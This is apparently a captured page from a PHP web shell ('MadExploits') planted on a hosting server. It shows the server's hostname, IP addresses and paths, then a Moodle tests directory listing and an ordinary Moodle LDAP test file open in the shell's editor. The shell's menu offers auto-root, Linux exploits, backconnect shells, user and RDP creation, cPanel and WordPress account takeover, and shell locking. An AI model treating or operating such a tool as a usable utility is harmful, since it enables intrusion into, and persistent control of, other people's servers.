Linux aries.aptans.com 4.18.0-348.20.1.lve.1.el8.x86_64 #1 SMP Wed Mar 16 08:45:39 EDT 2022 x86_64
Apache
: 135.181.142.107 | : 172.69.17.90
Cant Read [ /etc/named.conf ]
7.4.33
aja
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
aja /
public_html /
ead.aptans /
lib /
tests /
[ HOME SHELL ]
Name
Size
Permission
Action
analytics
[ DIR ]
drwxr-xr-x
behat
[ DIR ]
drwxr-xr-x
content
[ DIR ]
drwxr-xr-x
event
[ DIR ]
drwxr-xr-x
external
[ DIR ]
drwxr-xr-x
fixtures
[ DIR ]
drwxr-xr-x
other
[ DIR ]
drwxr-xr-x
output
[ DIR ]
drwxr-xr-x
performance
[ DIR ]
drwxr-xr-x
plugininfo
[ DIR ]
drwxr-xr-x
accesslib_has_capability_test....
29.73
KB
-rw-rw-r--
accesslib_test.php
219.29
KB
-rw-rw-r--
adhoc_task_test.php
18.44
KB
-rw-rw-r--
adminlib_test.php
4.38
KB
-rw-rw-r--
admintree_test.php
17.32
KB
-rw-r--r--
ajaxlib_test.php
4.36
KB
-rw-rw-r--
analysers_test.php
12.95
KB
-rw-r--r--
antivirus_test.php
8.69
KB
-rw-rw-r--
authlib_test.php
19.91
KB
-rw-r--r--
blocklib_test.php
35.27
KB
-rw-rw-r--
calendar_cron_task_test.php
2.69
KB
-rw-rw-r--
check_test.php
1.97
KB
-rw-r--r--
client_test.php
4.34
KB
-rw-r--r--
collator_test.php
11.99
KB
-rw-r--r--
completion_daily_task_test.php
5.24
KB
-rw-r--r--
completionlib_test.php
62.1
KB
-rw-rw-r--
component_test.php
40.17
KB
-rw-rw-r--
componentlib_test.php
6.64
KB
-rw-r--r--
configonlylib_test.php
6.15
KB
-rw-r--r--
content_test.php
4.77
KB
-rw-r--r--
core_media_player_native_test....
6.54
KB
-rw-r--r--
core_renderer_template_exploit...
17.28
KB
-rw-r--r--
coverage.php
1.93
KB
-rw-rw-r--
cronlib_test.php
6.89
KB
-rw-r--r--
csslib_test.php
1.79
KB
-rw-r--r--
csvclass_test.php
5.57
KB
-rw-r--r--
curl_security_helper_test.php
14.71
KB
-rw-r--r--
customcontext_test.php
3.79
KB
-rw-r--r--
dataformat_test.php
3.74
KB
-rw-r--r--
datalib_test.php
47.8
KB
-rw-r--r--
datalib_update_with_unique_ind...
6.31
KB
-rw-r--r--
date_legacy_test.php
13.9
KB
-rw-r--r--
date_test.php
24.48
KB
-rw-rw-r--
editorlib_test.php
2.01
KB
-rw-r--r--
encryption_test.php
8.68
KB
-rw-r--r--
environment_test.php
8.54
KB
-rw-r--r--
event_context_locked_test.php
4.11
KB
-rw-r--r--
event_course_module_instance_l...
2.7
KB
-rw-r--r--
event_course_module_viewed.php
3.33
KB
-rw-r--r--
event_deprecated_test.php
1.49
KB
-rw-r--r--
event_grade_deleted_test.php
3.25
KB
-rw-r--r--
event_profile_field_test.php
12.44
KB
-rw-r--r--
event_unknown_logged_test.php
1.92
KB
-rw-r--r--
event_user_graded_test.php
10.07
KB
-rw-r--r--
event_user_password_updated_te...
2.89
KB
-rw-r--r--
exporter_test.php
11.02
KB
-rw-r--r--
externallib_test.php
29.7
KB
-rw-r--r--
filelib_test.php
70.92
KB
-rw-rw-r--
filestorage_zip_archive_test.p...
2.75
KB
-rw-r--r--
filetypes_test.php
10.2
KB
-rw-r--r--
filter_manager_test.php
3.48
KB
-rw-r--r--
filterlib_test.php
36.72
KB
-rw-r--r--
formslib_test.php
39.6
KB
-rw-r--r--
gdlib_test.php
5.92
KB
-rw-r--r--
googlelib_test.php
1.54
KB
-rw-r--r--
gradelib_test.php
9.74
KB
-rw-r--r--
grades_externallib_test.php
24.66
KB
-rw-rw-r--
grading_externallib_test.php
26.27
KB
-rw-r--r--
grouplib_test.php
84.23
KB
-rw-rw-r--
h5p_clean_orphaned_records_tas...
3.12
KB
-rw-r--r--
h5p_get_content_types_task_tes...
2.69
KB
-rw-r--r--
html2text_test.php
7.58
KB
-rw-r--r--
html_writer_test.php
8.74
KB
-rw-rw-r--
htmlpurifier_test.php
22.67
KB
-rw-r--r--
ip_utils_test.php
14.27
KB
-rw-r--r--
jquery_test.php
1.76
KB
-rw-r--r--
ldaplib_test.php
17.72
KB
-rw-r--r--
licenselib_test.php
11.58
KB
-rw-r--r--
lock_config_test.php
3.39
KB
-rw-r--r--
lock_test.php
5.5
KB
-rw-r--r--
markdown_test.php
2.45
KB
-rw-r--r--
mathslib_test.php
11.12
KB
-rw-r--r--
medialib_test.php
20.19
KB
-rw-rw-r--
message_test.php
12.46
KB
-rw-rw-r--
messageinbound_test.php
5.89
KB
-rw-r--r--
messagelib_test.php
56.39
KB
-rw-rw-r--
minify_test.php
3.14
KB
-rw-r--r--
modinfolib_test.php
44.15
KB
-rw-rw-r--
moodle_page_test.php
29.58
KB
-rw-rw-r--
moodle_url_test.php
12.85
KB
-rw-r--r--
moodlelib_test.php
216.85
KB
-rw-rw-r--
mustache_template_finder_test....
7.4
KB
-rw-r--r--
mustache_template_source_loade...
18.06
KB
-rw-r--r--
myprofilelib_test.php
10.44
KB
-rw-r--r--
navigationlib_test.php
26.28
KB
-rw-rw-r--
notification_test.php
4.61
KB
-rw-r--r--
oauth2_test.php
17.57
KB
-rw-r--r--
output_mustache_helper_collect...
8.09
KB
-rw-r--r--
outputcomponents_test.php
29.67
KB
-rw-r--r--
outputfactories_test.php
6.8
KB
-rw-r--r--
outputrequirementslib_test.php
5.38
KB
-rw-r--r--
pdflib_test.php
1.51
KB
-rw-r--r--
persistent_test.php
19.95
KB
-rw-rw-r--
plugin_manager_test.php
27.39
KB
-rw-r--r--
portfoliolib_test.php
8.4
KB
-rw-r--r--
progress_display_test.php
3.75
KB
-rw-r--r--
progress_test.php
14.48
KB
-rw-r--r--
qrcode_test.php
1.88
KB
-rw-r--r--
questionlib_test.php
96.9
KB
-rw-rw-r--
regex_test.php
1.88
KB
-rw-r--r--
report_helper_test.php
3.68
KB
-rw-rw-r--
requirejs_test.php
3.73
KB
-rw-r--r--
rsslib_test.php
6.9
KB
-rw-r--r--
rtlcss_test.php
56.86
KB
-rw-r--r--
sample_questions.ser
141.76
KB
-rw-r--r--
sample_questions.xml
102.62
KB
-rw-r--r--
sample_questions_with_old_imag...
4.85
KB
-rw-r--r--
sample_questions_with_old_imag...
4.08
KB
-rw-r--r--
sample_questions_wrong.xml
102.57
KB
-rw-r--r--
scheduled_task_test.php
29.98
KB
-rw-rw-r--
scss_test.php
4.26
KB
-rw-r--r--
session_manager_test.php
33.96
KB
-rw-r--r--
session_redis_test.php
13.27
KB
-rw-r--r--
sessionlib_test.php
11.86
KB
-rw-r--r--
setuplib_test.php
19.63
KB
-rw-r--r--
statslib_test.php
26.75
KB
-rw-r--r--
string_manager_standard_test.p...
10.05
KB
-rw-rw-r--
tablelib_test.php
23.53
KB
-rw-r--r--
task_database_logger_test.php
20.15
KB
-rw-r--r--
task_logging_test.php
17.31
KB
-rw-r--r--
task_manager_test.php
11.2
KB
-rw-r--r--
task_running_test.php
6.58
KB
-rw-r--r--
text_test.php
21.09
KB
-rw-rw-r--
theme_config_test.php
9.81
KB
-rw-rw-r--
time_splittings_test.php
15.09
KB
-rw-r--r--
update_api_test.php
6.75
KB
-rw-r--r--
update_checker_test.php
10.86
KB
-rw-r--r--
update_code_manager_test.php
9.06
KB
-rw-r--r--
update_validator_test.php
18.44
KB
-rw-r--r--
upgrade_util_test.php
5.65
KB
-rw-r--r--
upgradelib_test.php
69.1
KB
-rw-rw-r--
user_menu_test.php
3.82
KB
-rw-rw-r--
user_test.php
32.36
KB
-rw-rw-r--
useragent_test.php
83.88
KB
-rw-rw-r--
weblib_format_text_test.php
12.11
KB
-rw-r--r--
weblib_test.php
35.1
KB
-rw-rw-r--
xhprof_test.php
3.32
KB
-rw-r--r--
xhtml_container_stack_test.php
4.16
KB
-rw-r--r--
xmlize_test.php
2.72
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ldaplib_test.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * ldap tests. * * @package core * @category phpunit * @copyright Damyon Wiese, Iñaki Arenaza 2014 * @license http://www.gnu.org/copyleft/gpl.html GNU Public License */ defined('MOODLE_INTERNAL') || die(); global $CFG; require_once($CFG->libdir . '/ldaplib.php'); class core_ldaplib_testcase extends advanced_testcase { public function test_ldap_addslashes() { // See http://tools.ietf.org/html/rfc4514#section-5.2 if you want // to add additional tests. $tests = array( array ( 'test' => 'Simplest', 'expected' => 'Simplest', ), array ( 'test' => 'Simple case', 'expected' => 'Simple\\20case', ), array ( 'test' => 'Medium ‒ case', 'expected' => 'Medium\\20‒\\20case', ), array ( 'test' => '#Harder+case#', 'expected' => '\\23Harder\\2bcase\\23', ), array ( 'test' => ' Harder (and); harder case ', 'expected' => '\\20Harder\\20(and)\\3b\\20harder\\20case\\20', ), array ( 'test' => 'Really \\0 (hard) case!\\', 'expected' => 'Really\\20\\5c0\\20(hard)\\20case!\\5c', ), array ( 'test' => 'James "Jim" = Smith, III', 'expected' => 'James\\20\\22Jim\22\\20\\3d\\20Smith\\2c\\20III', ), array ( 'test' => ' <jsmith@example.com> ', 'expected' => '\\20\\20\\3cjsmith@example.com\\3e\\20', ), ); foreach ($tests as $test) { $this->assertSame($test['expected'], ldap_addslashes($test['test'])); } } public function test_ldap_stripslashes() { // See http://tools.ietf.org/html/rfc4514#section-5.2 if you want // to add additional tests. // IMPORTANT NOTICE: While ldap_addslashes() only produces one // of the two defined ways of escaping/quoting (the ESC HEX // HEX way defined in the grammar in Section 3 of RFC-4514) // ldap_stripslashes() has to deal with both of them. So in // addition to testing the same strings we test in // test_ldap_stripslashes(), we need to also test strings // using the second method. $tests = array( array ( 'test' => 'Simplest', 'expected' => 'Simplest', ), array ( 'test' => 'Simple\\20case', 'expected' => 'Simple case', ), array ( 'test' => 'Simple\\ case', 'expected' => 'Simple case', ), array ( 'test' => 'Simple\\ \\63\\61\\73\\65', 'expected' => 'Simple case', ), array ( 'test' => 'Medium\\ ‒\\ case', 'expected' => 'Medium ‒ case', ), array ( 'test' => 'Medium\\20‒\\20case', 'expected' => 'Medium ‒ case', ), array ( 'test' => 'Medium\\20\\E2\\80\\92\\20case', 'expected' => 'Medium ‒ case', ), array ( 'test' => '\\23Harder\\2bcase\\23', 'expected' => '#Harder+case#', ), array ( 'test' => '\\#Harder\\+case\\#', 'expected' => '#Harder+case#', ), array ( 'test' => '\\20Harder\\20(and)\\3b\\20harder\\20case\\20', 'expected' => ' Harder (and); harder case ', ), array ( 'test' => '\\ Harder\\ (and)\\;\\ harder\\ case\\ ', 'expected' => ' Harder (and); harder case ', ), array ( 'test' => 'Really\\20\\5c0\\20(hard)\\20case!\\5c', 'expected' => 'Really \\0 (hard) case!\\', ), array ( 'test' => 'Really\\ \\\\0\\ (hard)\\ case!\\\\', 'expected' => 'Really \\0 (hard) case!\\', ), array ( 'test' => 'James\\20\\22Jim\\22\\20\\3d\\20Smith\\2c\\20III', 'expected' => 'James "Jim" = Smith, III', ), array ( 'test' => 'James\\ \\"Jim\\" \\= Smith\\, III', 'expected' => 'James "Jim" = Smith, III', ), array ( 'test' => '\\20\\20\\3cjsmith@example.com\\3e\\20', 'expected' => ' <jsmith@example.com> ', ), array ( 'test' => '\\ \\<jsmith@example.com\\>\\ ', 'expected' => ' <jsmith@example.com> ', ), array ( 'test' => 'Lu\\C4\\8Di\\C4\\87', 'expected' => 'Lučić', ), ); foreach ($tests as $test) { $this->assertSame($test['expected'], ldap_stripslashes($test['test'])); } } /** * Tests for ldap_normalise_objectclass. * * @dataProvider ldap_normalise_objectclass_provider * @param array $args Arguments passed to ldap_normalise_objectclass * @param string $expected The expected objectclass filter */ public function test_ldap_normalise_objectclass($args, $expected) { $this->assertEquals($expected, call_user_func_array('ldap_normalise_objectclass', $args)); } /** * Data provider for the test_ldap_normalise_objectclass testcase. * * @return array of testcases. */ public function ldap_normalise_objectclass_provider() { return array( 'Empty value' => array( array(null), '(objectClass=*)', ), 'Empty value with different default' => array( array(null, 'lion'), '(objectClass=lion)', ), 'Supplied unwrapped objectClass' => array( array('objectClass=tiger'), '(objectClass=tiger)', ), 'Supplied string value' => array( array('leopard'), '(objectClass=leopard)', ), 'Supplied complex' => array( array('(&(objectClass=cheetah)(enabledMoodleUser=1))'), '(&(objectClass=cheetah)(enabledMoodleUser=1))', ), ); } /** * Tests for ldap_get_entries_moodle. * * NOTE: in order to execute this test you need to set up OpenLDAP server with core, * cosine, nis and internet schemas and add configuration constants to * config.php or phpunit.xml configuration file. The bind users *needs* * permissions to create objects in the LDAP server, under the bind domain. * * define('TEST_LDAPLIB_HOST_URL', 'ldap://127.0.0.1'); * define('TEST_LDAPLIB_BIND_DN', 'cn=someuser,dc=example,dc=local'); * define('TEST_LDAPLIB_BIND_PW', 'somepassword'); * define('TEST_LDAPLIB_DOMAIN', 'dc=example,dc=local'); * */ public function test_ldap_get_entries_moodle() { $this->resetAfterTest(); if (!defined('TEST_LDAPLIB_HOST_URL') or !defined('TEST_LDAPLIB_BIND_DN') or !defined('TEST_LDAPLIB_BIND_PW') or !defined('TEST_LDAPLIB_DOMAIN')) { $this->markTestSkipped('External LDAP test server not configured.'); } // Make sure we can connect the server. $debuginfo = ''; if (!$connection = ldap_connect_moodle(TEST_LDAPLIB_HOST_URL, 3, 'rfc2307', TEST_LDAPLIB_BIND_DN, TEST_LDAPLIB_BIND_PW, LDAP_DEREF_NEVER, $debuginfo, false)) { $this->markTestSkipped('Cannot connect to LDAP test server: '.$debuginfo); } // Create new empty test container. if (!($containerdn = $this->create_test_container($connection, 'moodletest'))) { $this->markTestSkipped('Can not create test LDAP container.'); } // Add all the test objects. $testobjects = $this->get_ldap_get_entries_moodle_test_objects(); if (!$this->add_test_objects($connection, $containerdn, $testobjects)) { $this->markTestSkipped('Can not create LDAP test objects.'); } // Now query about them and compare results. foreach ($testobjects as $object) { $dn = $this->get_object_dn($object, $containerdn); $filter = $object['query']['filter']; $attributes = $object['query']['attributes']; $sr = ldap_read($connection, $dn, $filter, $attributes); if (!$sr) { $this->markTestSkipped('Cannot retrieve test objects from LDAP test server.'); } $entries = ldap_get_entries_moodle($connection, $sr); $actual = array_keys($entries[0]); $expected = $object['expected']; // We need to sort both arrays to be able to compare them, as the LDAP server // might return attributes in any order. sort($expected); sort($actual); $this->assertEquals($expected, $actual); } // Clean up test objects and container. $this->remove_test_objects($connection, $containerdn, $testobjects); $this->remove_test_container($connection, $containerdn); } /** * Provide the array of test objects for the ldap_get_entries_moodle test case. * * @return array of test objects */ protected function get_ldap_get_entries_moodle_test_objects() { $testobjects = array( // Test object 1. array( // Add/remove this object to LDAP directory? There are existing standard LDAP // objects that we might want to test, but that we shouldn't add/remove ourselves. 'addremove' => true, // Relative (to test container) or absolute distinguished name (DN). 'relativedn' => true, // Distinguished name for this object (interpretation depends on 'relativedn'). 'dn' => 'cn=test1', // Values to add to LDAP directory. 'values' => array( 'objectClass' => array('inetOrgPerson', 'organizationalPerson', 'person', 'posixAccount'), 'cn' => 'test1', // We don't care about the actual values, as long as they are unique. 'sn' => 'test1', 'givenName' => 'test1', 'uid' => 'test1', 'uidNumber' => '20001', // Start from 20000, then add test number. 'gidNumber' => '20001', // Start from 20000, then add test number. 'homeDirectory' => '/', 'userPassword' => '*', ), // Attributes to query the object for. 'query' => array( 'filter' => '(objectClass=posixAccount)', 'attributes' => array( 'cn', 'sn', 'givenName', 'uid', 'uidNumber', 'gidNumber', 'homeDirectory', 'userPassword' ), ), // Expected values for the queried attributes' names. 'expected' => array( 'cn', 'sn', 'givenname', 'uid', 'uidnumber', 'gidnumber', 'homedirectory', 'userpassword' ), ), // Test object 2. array( 'addremove' => true, 'relativedn' => true, 'dn' => 'cn=group2', 'values' => array( 'objectClass' => array('top', 'posixGroup'), 'cn' => 'group2', // We don't care about the actual values, as long as they are unique. 'gidNumber' => '20002', // Start from 20000, then add test number. 'memberUid' => '20002', // Start from 20000, then add test number. ), 'query' => array( 'filter' => '(objectClass=posixGroup)', 'attributes' => array( 'cn', 'gidNumber', 'memberUid' ), ), 'expected' => array( 'cn', 'gidnumber', 'memberuid' ), ), // Test object 3. array( 'addremove' => false, 'relativedn' => false, 'dn' => '', // To query the RootDSE, we must specify the empty string as the absolute DN. 'values' => array( ), 'query' => array( 'filter' => '(objectClass=*)', 'attributes' => array( 'supportedControl', 'namingContexts' ), ), 'expected' => array( 'supportedcontrol', 'namingcontexts' ), ), ); return $testobjects; } /** * Create a new container in the LDAP domain, to hold the test objects. The * container is created as a domain component (dc) + organizational unit (ou) object. * * @param object $connection Valid LDAP connection * @param string $container Name of the test container to create. * * @return string or false Distinguished name for the created container, or false on error. */ protected function create_test_container($connection, $container) { $object = array(); $object['objectClass'] = array('dcObject', 'organizationalUnit'); $object['dc'] = $container; $object['ou'] = $container; $containerdn = 'dc='.$container.','.TEST_LDAPLIB_DOMAIN; if (!ldap_add($connection, $containerdn, $object)) { return false; } return $containerdn; } /** * Remove the container in the LDAP domain root that holds the test objects. The container * *must* be empty before trying to remove it. Otherwise this function fails. * * @param object $connection Valid LDAP connection * @param string $containerdn The distinguished of the container to remove. */ protected function remove_test_container($connection, $containerdn) { ldap_delete($connection, $containerdn); } /** * Add the test objects to the test container. * * @param resource $connection Valid LDAP connection * @param string $containerdn The distinguished name of the container for the created objects. * @param array $testobjects Array of the tests objects to create. The structure of * the array elements *must* follow the structure of the value returned * by ldap_get_entries_moodle_test_objects() member function. * * @return boolean True on success, false otherwise. */ protected function add_test_objects($connection, $containerdn, $testobjects) { foreach ($testobjects as $object) { if ($object['addremove'] !== true) { continue; } $dn = $this->get_object_dn($object, $containerdn); $entry = $object['values']; if (!ldap_add($connection, $dn, $entry)) { return false; } } return true; } /** * Remove the test objects from the test container. * * @param resource $connection Valid LDAP connection * @param string $containerdn The distinguished name of the container for the objects to remove. * @param array $testobjects Array of the tests objects to create. The structure of * the array elements *must* follow the structure of the value returned * by ldap_get_entries_moodle_test_objects() member function. * */ protected function remove_test_objects($connection, $containerdn, $testobjects) { foreach ($testobjects as $object) { if ($object['addremove'] !== true) { continue; } $dn = $this->get_object_dn($object, $containerdn); ldap_delete($connection, $dn); } } /** * Get the distinguished name (DN) for a given object. * * @param object $object The LDAP object to calculate the DN for. * @param string $containerdn The DN of the container to use for objects with relative DNs. * * @return string The calculated DN. */ protected function get_object_dn($object, $containerdn) { if ($object['relativedn']) { $dn = $object['dn'].','.$containerdn; } else { $dn = $object['dn']; } return $dn; } }
Close